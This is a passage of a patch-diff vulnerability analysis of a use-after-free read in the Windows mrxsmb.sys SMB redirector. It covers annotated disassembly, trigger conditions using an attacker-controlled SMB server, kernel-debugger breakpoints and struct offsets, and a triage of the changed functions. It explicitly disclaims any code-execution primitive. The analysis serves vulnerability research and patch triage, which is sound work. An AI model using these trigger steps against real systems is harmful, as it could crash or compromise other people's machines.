&lt;span class="mi"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;ABE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+0C8h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;AC5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+11Ch&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;
&lt;span class="mi"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;ACC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;
&lt;span class="mi"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;ACE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;reads&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;potential&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UAF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;read&lt;/span&gt;
&lt;span class="mi"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;AD6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_RxPostToWorkerThread&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Deferred-free mechanism inside &lt;code&gt;SmbCeDereferenceVNetRootContext @ 0x140001C10&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;C1F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;C2B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xadd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;decrement&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x8&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;C50&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;C52&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_140001D59&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nonzero&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;return&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;teardown&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;D36&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SmbCepTearDownVNetRootContext&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;pos&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;teardown&lt;/span&gt;
&lt;span class="mf"&gt;0000000140001&lt;/span&gt;&lt;span class="n"&gt;D48&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_RxPostToWorkerThread&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;teardown&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;fre&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;run&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;asynchronously&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Patched entry pre-capture and tail selection (&lt;code&gt;SmbCeCompleteVNetRootConstruction @ 0x14002D130&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D156&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;78&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;pMRxDeviceObject&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D16B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Feature_1116195130__private_IsEnabledDeviceUsageNoInline&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D170&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D172&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_14002D180&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D174&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;capture&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D178&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;78&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;pMRxDeviceObject&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mf"&gt;...&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D4BA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SmbCeDecrementActiveVNetRootsOnVNetRootContext&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D4C2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SmbCeDereferenceVNetRootContext&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D4D9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Feature_1116195130__private_IsEnabledDeviceUsageNoInline&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D4F3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D4F5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_14002D4FD&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D4F7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OFF&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;same&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unpatched&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D4FB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_14002D505&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D4FD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;78&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;pMRxDeviceObject&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;ON&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;captured&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;val&lt;/span&gt;&lt;span class="n"&gt;ue&lt;/span&gt;
&lt;span class="mf"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;D505&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_RxPostToWorkerThread&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Key Instructions:&lt;/strong&gt;
- &lt;code&gt;0x14000197D&lt;/code&gt;: &lt;code&gt;call SmbCeDereferenceVNetRootContext&lt;/code&gt; — drops the reference; the last reference queues asynchronous teardown.
- &lt;code&gt;0x140001989&lt;/code&gt;: &lt;code&gt;lea rcx, [rbp+0x18]&lt;/code&gt; — computes an address into the object after the reference was dropped.
- &lt;code&gt;0x140001ACE&lt;/code&gt;: &lt;code&gt;mov rcx, [rcx]&lt;/code&gt; — reads &lt;code&gt;*(rbp+0x18)&lt;/code&gt;; this is the use-after-free read when the teardown wins the race.
- &lt;code&gt;0x14002D174&lt;/code&gt; / &lt;code&gt;0x14002D4FD&lt;/code&gt;: the patched pre-capture and its use, active only when the feature flag returns nonzero.&lt;/p&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Establish Context:&lt;/strong&gt; Access a UNC path served by an SMB endpoint under the attacker's control, e.g. &lt;code&gt;CreateFile(L"\\\\server\\share")&lt;/code&gt;, driving &lt;code&gt;MRxSmbCreateVNetRoot&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Force the error path:&lt;/strong&gt; Have the server return a negative NTSTATUS for the tree connect, or return a ShareType byte at &lt;code&gt;*(config+0xBC)&lt;/code&gt; that is not one of the recognized values (which sets an internal status of &lt;code&gt;0xC00000CB&lt;/code&gt;, STATUS_INVALID_NETWORK_RESPONSE). Either drives &lt;code&gt;SmbCeCompleteVNetRootConstruction&lt;/code&gt; down the error-cleanup path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Drop the last reference:&lt;/strong&gt; For the read to touch freed memory, &lt;code&gt;SmbCeDereferenceVNetRootContext&lt;/code&gt; must drop the last reference (&lt;code&gt;*(context+0x8)&lt;/code&gt; reaches zero), which posts &lt;code&gt;SmbCepTearDownVNetRootContext&lt;/code&gt; to a worker thread.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Win the race:&lt;/strong&gt; The posted teardown must free the VNetRoot allocation before the tail &lt;code&gt;mov rcx, [rcx]&lt;/code&gt; reads &lt;code&gt;*(rbp+0x18)&lt;/code&gt;. This is a timing-dependent window; there is no in-thread reclamation opportunity between the dereference and the read.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Demonstrable primitive:&lt;/strong&gt; A use-after-free read of a single pointer field (&lt;code&gt;*(VNetRoot+0x18)&lt;/code&gt;, the mini-redirector device object pointer) that is passed as the first argument to &lt;code&gt;RxPostToWorkerThread&lt;/code&gt;. Reaching a freed object requires losing a race against the deferred teardown worker; no synchronous free occurs at the read site.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Not demonstrated:&lt;/strong&gt; This report does not establish a controlled-write, arbitrary-read, or code-execution primitive from this bug. Turning the read into anything beyond a stale/garbage device object pointer would require reclaiming the freed VNetRoot pool block with attacker-controlled contents inside the race window, which is not shown here. Claims of pool-spray-to-code-execution, KASLR/SMEP/SMAP defeat, or token theft are not supported by the code and are out of scope.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;Use a kernel debugger attached to the unpatched build to observe the read-after-free window.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;
- &lt;code&gt;bp mrxsmb!SmbCeCompleteVNetRootConstruction&lt;/code&gt; — entry. Confirm &lt;code&gt;r8d&lt;/code&gt; (completion status) is negative to select the error path.
- &lt;code&gt;bp 0x14000197D&lt;/code&gt; — the &lt;code&gt;SmbCeDereferenceVNetRootContext&lt;/code&gt; call. Inspect &lt;code&gt;*(rcx+0x8)&lt;/code&gt; (the reference count). If it is 1, this call drops the last reference and posts the teardown worker.
- &lt;code&gt;bp 0x140001ACE&lt;/code&gt; — the &lt;code&gt;mov rcx, [rcx]&lt;/code&gt; read of &lt;code&gt;*(rbp+0x18)&lt;/code&gt;. Inspect &lt;code&gt;rbp&lt;/code&gt; with &lt;code&gt;!pool rbp&lt;/code&gt; to see whether the deferred teardown has already freed the block.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What to Inspect:&lt;/strong&gt;
- &lt;strong&gt;At entry:&lt;/strong&gt; &lt;code&gt;rcx&lt;/code&gt; = VNetRoot context pointer; &lt;code&gt;r8d&lt;/code&gt; = completion status (negative selects the error path).
- &lt;strong&gt;At &lt;code&gt;0x14000197D&lt;/code&gt;:&lt;/strong&gt; &lt;code&gt;rcx&lt;/code&gt; = VNetRoot context; &lt;code&gt;dd rcx+0x8 L1&lt;/code&gt; = reference count.
- &lt;strong&gt;At &lt;code&gt;0x140001ACE&lt;/code&gt;:&lt;/strong&gt; &lt;code&gt;rcx&lt;/code&gt; = &lt;code&gt;rbp+0x18&lt;/code&gt;; the value loaded is passed to &lt;code&gt;RxPostToWorkerThread&lt;/code&gt;. &lt;code&gt;!pool rbp&lt;/code&gt; shows whether the block is still allocated.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Trigger Setup:&lt;/strong&gt;
1. Point a UNC path at an SMB server you control.
2. Configure it to reject the tree connect with a negative NTSTATUS or an unrecognized ShareType byte.
3. Access the path (for example &lt;code&gt;dir \\server\share&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Expected Observation:&lt;/strong&gt;
Because the teardown is asynchronous, the read at &lt;code&gt;0x140001ACE&lt;/code&gt; typically returns a still-valid device object pointer in a single-threaded observation. Enabling Driver Verifier special pool on &lt;code&gt;mrxsmb.sys&lt;/code&gt; is the reliable way to catch the read against a freed block if the teardown worker frees it first; without the race being won, the read completes normally.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Struct/Offset Notes (VNetRoot Context Object):&lt;/strong&gt;
- &lt;code&gt;+0x08&lt;/code&gt;: Reference count decremented by &lt;code&gt;SmbCeDereferenceVNetRootContext&lt;/code&gt;.
- &lt;code&gt;+0x18&lt;/code&gt;: Mini-redirector device object pointer (the value read at the tail and passed to &lt;code&gt;RxPostToWorkerThread&lt;/code&gt;).
- &lt;code&gt;+0x1A0&lt;/code&gt;: Associated NET_ROOT object pointer.
- &lt;code&gt;+0x1A8&lt;/code&gt;: Connect configuration object (&lt;code&gt;*(config+0xBC)&lt;/code&gt; = ShareType, &lt;code&gt;*(config+0xB0)&lt;/code&gt; = flags).
- &lt;code&gt;+0x1B0&lt;/code&gt;: ActiveVNetRoots count (decremented inline on the error path).
- &lt;code&gt;+0x1E0&lt;/code&gt;: Current exchange/context pointer.&lt;/p&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SmbCeCompleteVNetRootConstruction&lt;/code&gt;&lt;/strong&gt; (unpatched @ 0x140001840, patched @ 0x14002D130)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change Type:&lt;/strong&gt; Security Relevant&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Notes:&lt;/strong&gt; The patched build adds a &lt;code&gt;Feature_1116195130__private_IsEnabledDeviceUsageNoInline&lt;/code&gt; check at entry that pre-captures &lt;code&gt;*(arg1+0x18)&lt;/code&gt; into a stack slot, and a matching check at the tail that uses the pre-captured value in place of re-reading &lt;code&gt;*(arg1+0x18)&lt;/code&gt; after the reference is dropped. When the feature is disabled, the tail re-reads &lt;code&gt;*(arg1+0x18)&lt;/code&gt;, identical to the unpatched behavior. The inline ActiveVNetRoots decrement on the error path was reorganized to call the pre-existing helper &lt;code&gt;SmbCeDecrementActiveVNetRootsOnVNetRootContext&lt;/code&gt; (present and identical in both builds at unpatched 0x140001E00 / patched 0x140001810); this reorganization is not the security change and does not create a new helper.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;(Independent content diff: every other differing function — &lt;code&gt;MRxSmbCreateVNetRoot&lt;/code&gt;, &lt;code&gt;MRxSmbFinalizeVNetRoot&lt;/code&gt;, &lt;code&gt;SmbCeDereferenceExchange&lt;/code&gt;, &lt;code&gt;SmbCeDereferenceVNetRootContext&lt;/code&gt;, &lt;code&gt;SmbCeFindVNetRootContext&lt;/code&gt;, &lt;code&gt;SmbCeReferenceVNetRootContext&lt;/code&gt;, &lt;code&gt;SmbCepTearDownVNetRootContext&lt;/code&gt;, several &lt;code&gt;WPP_SF_*&lt;/code&gt; wrappers, and others — differs only by a WPP trace-GUID rename, ETW/WPP trace-id renumbering, or decompiler variable naming. None carry a logic change.)&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; &lt;code&gt;Feature_1116195130__private_IsEnabledDeviceUsageNoInline @ 0x14004C884&lt;/code&gt; and &lt;code&gt;Feature_1116195130__private_IsEnabledFallback&lt;/code&gt; — WIL feature-staging helpers that back the feature gate.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Removed:&lt;/strong&gt; None.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; Medium. The unpatched read of &lt;code&gt;*(rbp+0x18)&lt;/code&gt; after &lt;code&gt;SmbCeDereferenceVNetRootContext&lt;/code&gt; is present and confirmed in the disassembly, and the patched pre-capture is confirmed. The practical impact is limited by the deferred-free design and by the feature gate.&lt;/li&gt;
